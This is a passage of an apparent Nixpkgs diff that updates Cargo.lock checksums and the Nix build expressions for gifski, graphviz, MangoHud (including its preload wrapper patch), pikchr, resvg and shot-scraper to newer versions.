"b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f" +checksum = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161" dependencies = [ "cfg-if", - "winapi", + "windows-sys 0.48.0", ] [[package]] name = "lodepng" -version = "3.9.1" +version = "3.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3cdccd0cf57a5d456f0656ebcff72c2e19503287e1afbf3b84382812adc0606" +checksum = "a42d298694b14401847de29abd44adf278b42e989e516deac7b72018400002d8" dependencies = [ "crc32fast", "fallible_collections", @@ -423,27 +415,18 @@ dependencies = [ [[package]] name = "loop9" -version = "0.1.4" +version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "81a837f917de41d61ab531ba255d1913208d02325cab0d6a66a706e0dbaa699d" +checksum = "0fae87c125b03c1d2c0150c90365d7d6bcc53fb73a9acaef207d2d065860f062" dependencies = [ "imgref", ] [[package]] name = "memchr" -version = "2.6.4" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" - -[[package]] -name = "memoffset" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" -dependencies = [ - "autocfg", -] +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "minimal-lexical" @@ -453,9 +436,9 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "miniz_oxide" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" dependencies = [ "adler", ] @@ -478,9 +461,9 @@ dependencies = [ [[package]] name = "num-traits" -version = "0.2.17" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" dependencies = [ "autocfg", ] @@ -497,9 +480,18 @@ dependencies = [ [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "ordered-channel" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f0bc569ca0974cb90125f52cf76f7b6ad3a072301beba78eb0aa4174c4964ed" +dependencies = [ + "crossbeam-channel", +] [[package]] name = "pbr" @@ -520,15 +512,15 @@ checksum = "19b17cddbe7ec3f8bc800887bab5e717348c95ea2ca0b1bf0837fb964dc67099" [[package]] name = "pkg-config" -version = "0.3.27" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" +checksum = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb" [[package]] name = "proc-macro2" -version = "1.0.69" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "134c189feb4956b20f6f547d2cf727d4c0fe06722b20a0eec87ed445a97f92da" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] @@ -541,18 +533,18 @@ checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3" [[package]] name = "quote" -version = "1.0.33" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] [[package]] name = "rayon" -version = "1.8.0" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1" +checksum = "fa7237101a77a10773db45d62004a272517633fbcc3df19d96455ede1122e051" dependencies = [ "either", "rayon-core", @@ -560,9 +552,9 @@ dependencies = [ [[package]] name = "rayon-core" -version = "1.12.0" +version = "1.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" dependencies = [ "crossbeam-deque", "crossbeam-utils", @@ -570,9 +562,9 @@ dependencies = [ [[package]] name = "regex" -version = "1.10.2" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ "aho-corasick", "memchr", @@ -582,9 +574,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.3" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" dependencies = [ "aho-corasick", "memchr", @@ -599,9 +591,9 @@ checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "resize" -version = "0.8.2" +version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce43c0220eff4793a20c120ff89ee01499ba3c882957021dcdc12f5e4ca97c8" +checksum = "c3e29f584c07a8396c5e2eee0bd8d7aec5c8d9e0a3c2333806fd2ec1d2a5b080" dependencies = [ "rayon", "rgb", @@ -609,9 +601,9 @@ dependencies = [ [[package]] name = "rgb" -version = "0.8.36" +version = "0.8.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "20ec2d3e3fc7a92ced357df9cebd5a10b6fb2aa1ee797bf7e9ce2f17dffc8f59" +checksum = "05aaa8004b64fd573fc9d002f4e632d51ad4f026c2b5ba95fcb6c2f32c2c47d8" dependencies = [ "bytemuck", ] @@ -623,22 +615,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] -name = "scopeguard" -version = "1.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" - -[[package]] name = "shlex" -version = "1.2.0" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" [[package]] name = "strsim" -version = "0.10.0" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" +checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01" [[package]] name = "syn" @@ -653,9 +639,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.38" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e96b79aaa137db8f61e26363a0c9b47d8b4ec75da28b7d1d614c2303e232408b" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", @@ -698,15 +684,15 @@ checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] name = "weezl" -version = "0.1.7" +version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9193164d4de03a926d909d3bc7c30543cecb35400c02114792c2cae20d5e2dbb" +checksum = "53a85b86a771b1c87058196170769dd264f66c0782acf1ae6cc51bfd64b39082" [[package]] name = "wild" -version = "2.2.0" +version = "2.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "10d01931a94d5a115a53f95292f51d316856b68a035618eb831bbba593a30b67" +checksum = "a3131afc8c575281e1e80f36ed6a092aa502c08b18ed7524e86fbbb12bb410e1" dependencies = [ "glob", ] @@ -739,7 +725,16 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets", + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", ] [[package]] @@ -748,13 +743,28 @@ version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ - "windows_aarch64_gnullvm", - "windows_aarch64_msvc", - "windows_i686_gnu", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_gnullvm", - "windows_x86_64_msvc", + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", ] [[package]] @@ -764,57 +774,99 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] name = "windows_aarch64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] name = "windows_i686_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] name = "windows_i686_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] name = "windows_x86_64_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] name = "windows_x86_64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] name = "zerocopy" -version = "0.7.11" +version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c19fae0c8a9efc6a8281f2e623db8af1db9e57852e04cde3e754dd2dc29340f" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" dependencies = [ "zerocopy-derive", ] [[package]] name = "zerocopy-derive" -version = "0.7.11" +version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc56589e9ddd1f1c28d4b4b5c773ce232910a6bb67a70133d61c9e347585efe9" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" dependencies = [ "proc-macro2", "quote", - "syn 2.0.38", + "syn 2.0.48", ] diff --git a/pkgs/tools/graphics/gifski/default.nix b/pkgs/tools/graphics/gifski/default.nix index 312388a9742fd..2427027fa2d20 100644 --- a/pkgs/tools/graphics/gifski/default.nix +++ b/pkgs/tools/graphics/gifski/default.nix @@ -7,20 +7,19 @@ rustPlatform.buildRustPackage rec { pname = "gifski"; - version = "1.13.1"; + version = "1.14.4"; src = fetchFromGitHub { owner = "ImageOptim"; repo = "gifski"; - # rev = version; - rev = "1.31.1"; # upstream tagged incorrectly - hash = "sha256-JzQReCX1AfFhbVbSPOIAKAVvNoddrWFHaJ1AxlsIPA0="; + rev = version; + hash = "sha256-Yhcz3pbEsSlpxQ1couFgQuaS8Eru7PLiGFNHcKmiFak="; }; cargoLock = { lockFile = ./Cargo.lock; outputHashes = { - "ffmpeg-sys-next-6.0.1" = "sha256-/KxW57lt9/qKqNUUZqJucsP0cKvZ1m/FdGCsZxBlxYc="; + "ffmpeg-sys-next-6.1.0" = "sha256-RB9sDQoP68Dzqk8tIuYlOX3dZcS64hKI5KpTGq/7xbM="; }; }; diff --git a/pkgs/tools/graphics/graphviz/default.nix b/pkgs/tools/graphics/graphviz/default.nix index 20b296de802c8..9a9bd3a0f2b6c 100644 --- a/pkgs/tools/graphics/graphviz/default.nix +++ b/pkgs/tools/graphics/graphviz/default.nix @@ -17,10 +17,14 @@ , bison , xorg , ApplicationServices +, Foundation , python3 -, fltk -, exiv2 , withXorg ? true + +# for passthru.tests +, exiv2 +, fltk +, graphicsmagick }: let @@ -28,13 +32,13 @@ let in stdenv.mkDerivation rec { pname = "graphviz"; - version = "9.0.0"; + version = "10.0.1"; src = fetchFromGitLab { owner = "graphviz"; repo = "graphviz"; rev = version; - hash = "sha256-lLESaULvHkWJjbKjjG9VIcVInqsDmY1OAAKfjCFDThQ="; + hash = "sha256-KAqJUVqPld3F2FHlUlfbw848GPXXOmyRQkab8jlH1NM="; }; nativeBuildInputs = [ @@ -55,7 +59,7 @@ stdenv.mkDerivation rec { pango bash ] ++ optionals withXorg (with xorg; [ libXrender libXaw libXpm ]) - ++ optionals stdenv.isDarwin [ ApplicationServices ]; + ++ optionals stdenv.isDarwin [ ApplicationServices Foundation ]; hardeningDisable = [ "fortify" ]; @@ -71,7 +75,13 @@ stdenv.mkDerivation rec { doCheck = false; # fails with "Graphviz test suite requires ksh93" which is not in nixpkgs - preAutoreconf = "./autogen.sh"; + preAutoreconf = '' + # components under this directory require a tool `CompileXIB` to build + # and there's no official way to disable this on darwin. + substituteInPlace Makefile.am --replace-fail 'SUBDIRS += macosx' "" + + ./autogen.sh + ''; postFixup = optionalString withXorg '' substituteInPlace $out/bin/vimdot \ @@ -81,8 +91,17 @@ stdenv.mkDerivation rec { ''; passthru.tests = { - inherit (python3.pkgs) pygraphviz; - inherit fltk exiv2; + inherit (python3.pkgs) + graphviz + pydot + pygraphviz + xdot + ; + inherit + exiv2 + fltk + graphicsmagick + ; }; meta = with lib; { diff --git a/pkgs/tools/graphics/mangohud/default.nix b/pkgs/tools/graphics/mangohud/default.nix index 5dc243ec2d7ec..fc0fc9930d786 100644 --- a/pkgs/tools/graphics/mangohud/default.nix +++ b/pkgs/tools/graphics/mangohud/default.nix @@ -4,6 +4,7 @@ , fetchFromGitHub , fetchurl , substituteAll +, fetchpatch , coreutils , curl , glxinfo @@ -38,7 +39,6 @@ let # Derived from subprojects/cmocka.wrap cmocka = { - version = "1.81"; src = fetchFromGitLab { owner = "cmocka"; repo = "cmocka"; @@ -47,18 +47,33 @@ let }; }; + # Derived from subprojects/implot.wrap + implot = rec { + version = "0.16"; + src = fetchFromGitHub { + owner = "epezent"; + repo = "implot"; + rev = "refs/tags/v${version}"; + hash = "sha256-/wkVsgz3wiUVZBCgRl2iDD6GWb+AoHN+u0aeqHHgem0="; + }; + patch = fetchurl { + url = "https://wrapdb.mesonbuild.com/v2/implot_${version}-1/get_patch"; + hash = "sha256-HGsUYgZqVFL6UMHaHdR/7YQfKCMpcsgtd48pYpNlaMc="; + }; + }; + # Derived from subprojects/imgui.wrap imgui = rec { - version = "1.81"; + version = "1.89.9"; src = fetchFromGitHub { owner = "ocornut"; repo = "imgui"; rev = "refs/tags/v${version}"; - hash = "sha256-rRkayXk3xz758v6vlMSaUu5fui6NR8Md3njhDB0gJ18="; + hash = "sha256-0k9jKrJUrG9piHNFQaBBY3zgNIKM23ZA879NY+MNYTU="; }; patch = fetchurl { url = "https://wrapdb.mesonbuild.com/v2/imgui_${version}-1/get_patch"; - hash = "sha256-bQC0QmkLalxdj4mDEdqvvOFtNwz2T1MpTDuMXGYeQ18="; + hash = "sha256-myEpDFl9dr+NTus/n/oCSxHZ6mxh6R1kjMyQtChD1YQ="; }; }; @@ -68,7 +83,7 @@ let src = fetchFromGitHub { owner = "KhronosGroup"; repo = "Vulkan-Headers"; - rev = "v${version}"; + rev = "refs/tags/v${version}"; hash = "sha256-5uyk2nMwV1MjXoa3hK/WUeGLwpINJJEvY16kc5DEaks="; }; patch = fetchurl { @@ -79,14 +94,14 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "mangohud"; - version = "0.7.0"; + version = "0.7.1"; src = fetchFromGitHub { owner = "flightlessmango"; repo = "MangoHud"; rev = "refs/tags/v${finalAttrs.version}"; fetchSubmodules = true; - hash = "sha256-KkMN7A3AcS/v+b9GCs0pI6MBBk3WwOMciaoiBzL5xOQ="; + hash = "sha256-Gnq+1j+PFbeipAfXGnTq7wZdVQeG9R9vLAKZnZj7Bvs="; }; outputs = [ "out" "doc" "man" ]; @@ -97,6 +112,7 @@ stdenv.mkDerivation (finalAttrs: { ${lib.optionalString finalAttrs.finalPackage.doCheck '' cp -R --no-preserve=mode,ownership ${cmocka.src} cmocka ''} + cp -R --no-preserve=mode,ownership ${implot.src} implot-${implot.version} cp -R --no-preserve=mode,ownership ${imgui.src} imgui-${imgui.version} cp -R --no-preserve=mode,ownership ${vulkan-headers.src} Vulkan-Headers-${vulkan-headers.version} )''; @@ -124,6 +140,13 @@ stdenv.mkDerivation (finalAttrs: { libdbus = dbus.lib; inherit hwdata; }) + + # Add dep_vulkan to mangoapp and test_amdgpu to fix build failure + # TODO: Remove in next release + (fetchpatch { + url = "https://github.com/flightlessmango/MangoHud/commit/cba217ffaf93aea6acb4e59e3e46bf912f740ccf.patch"; + hash = "sha256-1My4/EuSMpe3AFhhFOJr8rz/wnywp+BW+F4dSgxToe0="; + }) ]; postPatch = '' @@ -138,6 +161,7 @@ stdenv.mkDerivation (finalAttrs: { ( cd subprojects + unzip ${implot.patch} unzip ${imgui.patch} unzip ${vulkan-headers.patch} ) @@ -198,33 +222,36 @@ stdenv.mkDerivation (finalAttrs: { ''} ''; - postFixup = let - archMap = { - "x86_64-linux" = "x86_64"; - "i686-linux" = "x86"; - }; - layerPlatform = archMap."${stdenv.hostPlatform.system}" or null; - # We need to give the different layers separate names or else the loader - # might try the 32-bit one first, fail and not attempt to load the 64-bit - # layer under the same name. - in lib.optionalString (layerPlatform != null) '' - substituteInPlace $out/share/vulkan/implicit_layer.d/MangoHud.${layerPlatform}.json \ - --replace "VK_LAYER_MANGOHUD_overlay" "VK_LAYER_MANGOHUD_overlay_${toString stdenv.hostPlatform.parsed.cpu.bits}" - '' + '' - # Add OpenGL driver path to RUNPATH to support NVIDIA cards - addOpenGLRunpath "$out/lib/mangohud/libMangoHud.so" - '' + lib.optionalString gamescopeSupport '' - addOpenGLRunpath "$out/bin/mangoapp" - '' + lib.optionalString finalAttrs.finalPackage.doCheck '' - # libcmocka.so is only used for tests - rm "$out/lib/libcmocka.so" - ''; + postFixup = + let + archMap = { + "x86_64-linux" = "x86_64"; + "i686-linux" = "x86"; + }; + layerPlatform = archMap."${stdenv.hostPlatform.system}" or null; + # We need to give the different layers separate names or else the loader + # might try the 32-bit one first, fail and not attempt to load the 64-bit + # layer under the same name. + in + lib.optionalString (layerPlatform != null) '' + substituteInPlace $out/share/vulkan/implicit_layer.d/MangoHud.${layerPlatform}.json \ + --replace "VK_LAYER_MANGOHUD_overlay" "VK_LAYER_MANGOHUD_overlay_${toString stdenv.hostPlatform.parsed.cpu.bits}" + '' + '' + # Add OpenGL driver path to RUNPATH to support NVIDIA cards + addOpenGLRunpath "$out/lib/mangohud/libMangoHud.so" + '' + lib.optionalString gamescopeSupport '' + addOpenGLRunpath "$out/bin/mangoapp" + '' + lib.optionalString finalAttrs.finalPackage.doCheck '' + # libcmocka.so is only used for tests + rm "$out/lib/libcmocka.so" + ''; passthru.updateScript = nix-update-script { }; meta = with lib; { description = "A Vulkan and OpenGL overlay for monitoring FPS, temperatures, CPU/GPU load and more"; homepage = "https://github.com/flightlessmango/MangoHud"; + changelog = "https://github.com/flightlessmango/MangoHud/releases/tag/v${finalAttrs.version}"; platforms = platforms.linux; license = licenses.mit; maintainers = with maintainers; [ kira-bruneau zeratax ]; diff --git a/pkgs/tools/graphics/mangohud/hardcode-dependencies.patch b/pkgs/tools/graphics/mangohud/hardcode-dependencies.patch index d2b11673d77f6..1c0f3a497fe6f 100644 --- a/pkgs/tools/graphics/mangohud/hardcode-dependencies.patch +++ b/pkgs/tools/graphics/mangohud/hardcode-dependencies.patch @@ -12,7 +12,7 @@ index 7379af1..4eef3fe 100644 return false; } diff --git a/src/logging.cpp b/src/logging.cpp -index 046c847..42782be 100644 +index ca33ee3..90d3638 100644 --- a/src/logging.cpp +++ b/src/logging.cpp @@ -26,7 +26,11 @@ string exec(string command) { diff --git a/pkgs/tools/graphics/mangohud/preload-nix-workaround.patch b/pkgs/tools/graphics/mangohud/preload-nix-workaround.patch index f38e1703973d5..5aa538b4c4c7a 100644 --- a/pkgs/tools/graphics/mangohud/preload-nix-workaround.patch +++ b/pkgs/tools/graphics/mangohud/preload-nix-workaround.patch @@ -1,26 +1,39 @@ diff --git a/bin/mangohud.in b/bin/mangohud.in -index 6c3c6e8..8847cdc 100755 +index 53c72ef..18240ea 100755 --- a/bin/mangohud.in +++ b/bin/mangohud.in -@@ -8,10 +8,10 @@ if [ "$#" -eq 0 ]; then - exit 1 - fi +@@ -13,13 +13,15 @@ fi + DISABLE_LD_PRELOAD="cs2.sh + some_other_exe" -MANGOHUD_LIB_NAME="@ld_libdir_mangohud@libMangoHud_opengl.so" ++LD_LIBRARY_PATH="@libraryPath@${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" ++XDG_DATA_DIRS="@dataDir@${XDG_DATA_DIRS:+:$XDG_DATA_DIRS}" +MANGOHUD_LIB_NAME="libMangoHud_opengl.so" if [ "$1" = "--dlsym" ]; then -- MANGOHUD_LIB_NAME="@ld_libdir_mangohud@libMangoHud_dlsym.so:${MANGOHUD_LIB_NAME}" -+ MANGOHUD_LIB_NAME="libMangoHud_dlsym.so:${MANGOHUD_LIB_NAME}" - shift +- MANGOHUD_LIB_NAME="@ld_libdir_mangohud@libMangoHud_dlsym.so:${MANGOHUD_LIB_NAME}" ++ MANGOHUD_LIB_NAME="libMangoHud_dlsym.so:${MANGOHUD_LIB_NAME}" + shift # shift will only be executed if $1 is "--dlsym" + elif [ "$MANGOHUD_DLSYM" = "1" ]; then +- MANGOHUD_LIB_NAME="@ld_libdir_mangohud@libMangoHud_dlsym.so:${MANGOHUD_LIB_NAME}" ++ MANGOHUD_LIB_NAME="libMangoHud_dlsym.so:${MANGOHUD_LIB_NAME}" fi -@@ -31,5 +31,7 @@ case ":${LD_PRELOAD-}:" in - LD_PRELOAD="${LD_PRELOAD:+$LD_PRELOAD:}${MANGOHUD_LIB_NAME}" - esac + if [ "$1" = "--version" ]; then +@@ -41,7 +43,7 @@ for exe in $DISABLE_LD_PRELOAD; do + done -+LD_LIBRARY_PATH="@libraryPath@${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" -+XDG_DATA_DIRS="@dataDir@${XDG_DATA_DIRS:+:$XDG_DATA_DIRS}" + if [ "$disable_preload" = true ]; then +- exec env MANGOHUD=1 "$@" ++ exec env MANGOHUD=1 LD_LIBRARY_PATH="${LD_LIBRARY_PATH}" XDG_DATA_DIRS="${XDG_DATA_DIRS}" "$@" + else + # Make sure we don't append mangohud lib multiple times + # otherwise, this could cause issues with the steam runtime +@@ -54,5 +56,5 @@ else + LD_PRELOAD="${LD_PRELOAD:+$LD_PRELOAD:}${MANGOHUD_LIB_NAME}" + esac --exec env MANGOHUD=1 LD_PRELOAD="${LD_PRELOAD}" "$@" -+exec env MANGOHUD=1 LD_PRELOAD="${LD_PRELOAD}" LD_LIBRARY_PATH="${LD_LIBRARY_PATH}" XDG_DATA_DIRS="${XDG_DATA_DIRS}" "$@" +- exec env MANGOHUD=1 LD_PRELOAD="${LD_PRELOAD}" "$@" ++ exec env MANGOHUD=1 LD_PRELOAD="${LD_PRELOAD}" LD_LIBRARY_PATH="${LD_LIBRARY_PATH}" XDG_DATA_DIRS="${XDG_DATA_DIRS}" "$@" + fi diff --git a/pkgs/tools/graphics/pikchr/default.nix b/pkgs/tools/graphics/pikchr/default.nix index 3216790590e1f..8c3e603cae846 100644 --- a/pkgs/tools/graphics/pikchr/default.nix +++ b/pkgs/tools/graphics/pikchr/default.nix @@ -9,12 +9,12 @@ stdenv.mkDerivation { pname = "pikchr"; # To update, use the last check-in in https://pikchr.org/home/timeline?r=trunk - version = "unstable-2023-08-30"; + version = "0-unstable-2024-02-12"; src = fetchfossil { url = "https://pikchr.org/home"; - rev = "d6f80b1ab30654d5"; - sha256 = "sha256-GEH1qFiMYmNFJnZzLG5rxpl+F7OSRMoVcdo94+mvrlY="; + rev = "ae3317b0ec2e635c"; + hash = "sha256-kCbd6XAaUCwFVYOPPLIux7wW62KRfVnfaxT8Z1RGFfc="; }; # can't open generated html files diff --git a/pkgs/tools/graphics/resvg/default.nix b/pkgs/tools/graphics/resvg/default.nix index 2f1398e4fd11a..199fff0d615e4 100644 --- a/pkgs/tools/graphics/resvg/default.nix +++ b/pkgs/tools/graphics/resvg/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "resvg"; - version = "0.39.0"; + version = "0.40.0"; src = fetchFromGitHub { owner = "RazrFalcon"; repo = pname; rev = "v${version}"; - hash = "sha256-B1rC0iU9KWB0k9iHjPL+rlU7KZ5s5cy+XqRpHENQvEc="; + hash = "sha256-M1log9JAgKB+S1jyieXNOhI8Wa0GwujbzyLJUd6b8VI="; }; - cargoHash = "sha256-SCa10sejy4qeeo2slywl4qzscbQg5uyIeR1gE7mky2k="; + cargoHash = "sha256-KyiwupObxEVyDzwsQOKWw0+avhf96L83m7tiI6EK3/U="; cargoBuildFlags = [ "--package=resvg" diff --git a/pkgs/tools/graphics/shot-scraper/default.nix b/pkgs/tools/graphics/shot-scraper/default.nix index a5406d7334c79..0c3e8688a3f7a 100644 --- a/pkgs/tools/graphics/shot-scraper/default.nix +++ b/pkgs/tools/graphics/shot-scraper/default.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "shot-scraper"; - version = "1.3"; + version = "1.4"; format = "setuptools"; disabled = python3.pkgs.pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-IC6S6LnavwxTcGEDX7lSHF1GZKBH1QcHQy17LGx4Ago="; + hash = "sha256-hPzOwvTQAFs9IQRkq/uw+pHv5ZP5XU3Zn605SL8udPA="; }; propagatedBuildInputs = with python3.pkgs; [ diff --git a/pkgs/tools/graphics/svg2pdf/default.nix b/pkgs/tools/graphics/svg2pdf/default.nix index 24065574ddcca..851f359fdf80c 100644 --- 